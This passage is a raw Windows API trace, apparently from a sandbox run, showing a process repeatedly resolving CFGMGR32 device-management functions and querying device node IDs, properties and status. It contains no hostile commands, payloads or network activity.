CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.278] malloc (_Size=0x48) returned 0x196ef0fb950 [0225.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67218c31, dwHighDateTime=0x1d9eb0c)) [0225.278] SetEvent (hEvent=0x248) returned 1 [0225.282] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.282] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.282] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.283] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.284] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.285] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.286] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.287] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0225.287] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x26, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0225.287] malloc (_Size=0x48) returned 0x196ef0fb270 [0225.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6723bc12, dwHighDateTime=0x1d9eb0c)) [0225.288] SetEvent (hEvent=0x248) returned 1 [0225.294] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.294] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.295] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.296] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.297] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.298] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.299] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.299] malloc (_Size=0x18) returned 0x196ef0d1b00 [0225.299] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x26, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0225.300] malloc (_Size=0x48) returned 0x196ef0fb450 [0225.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6723bc12, dwHighDateTime=0x1d9eb0c)) [0225.300] SetEvent (hEvent=0x248) returned 1 [0225.368] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.368] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.369] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.370] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.371] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.372] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.372] malloc (_Size=0x18) returned 0x196ef0d1d60 [0225.372] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0225.373] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0225.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x672fa6bd, dwHighDateTime=0x1d9eb0c)) [0225.373] SetEvent (hEvent=0x248) returned 1 [0225.378] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.378] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.380] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.382] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0225.382] CM_Get_Device_IDA (in: dnDevInst=0x27, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\UMBUS\\0000") returned 0x0 [0225.382] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0225.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x67320ac1, dwHighDateTime=0x1d9eb0c)) [0225.382] SetEvent (hEvent=0x248) returned 1 [0225.386] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.386] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.387] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.388] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.390] malloc (_Size=0x18) returned 0x196ef0d1e60 [0225.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0225.390] malloc (_Size=0x18) returned 0x196ef0d2080 [0225.390] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d2080, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d2080, pulLength=0x67117d608) returned 0x0 [0225.390] free (_Block=0x196ef0d2080) [0225.391] malloc (_Size=0x48) returned 0x196ef0fb720 [0225.391] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67320ac1, dwHighDateTime=0x1d9eb0c)) [0225.391] SetEvent (hEvent=0x248) returned 1 [0225.394] malloc (_Size=0x18) returned 0x196ef0d1a40 [0225.394] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0225.394] free (_Block=0x196ef0d1a40) [0225.394] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8567e0 [0225.394] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0225.394] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0225.394] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0225.394] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8c0 [0225.394] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0225.394] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0225.394] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0225.395] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0225.395] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225ea0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.396] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8c0) returned 1 [0225.397] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8567e0) returned 1 [0225.397] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.397] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.404] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.404] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0225.405] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0225.405] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0225.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x67346b1e, dwHighDateTime=0x1d9eb0c)) [0225.406] SetEvent (hEvent=0x248) returned 1 [0225.463] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.463] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.467] malloc (_Size=0x18) returned 0x196ef0d1a80 [0225.467] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x27, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.474] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0225.474] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67405617, dwHighDateTime=0x1d9eb0c)) [0225.474] SetEvent (hEvent=0x248) returned 1 [0225.478] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.478] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.478] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.479] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.480] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.481] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.482] GetProcAddress 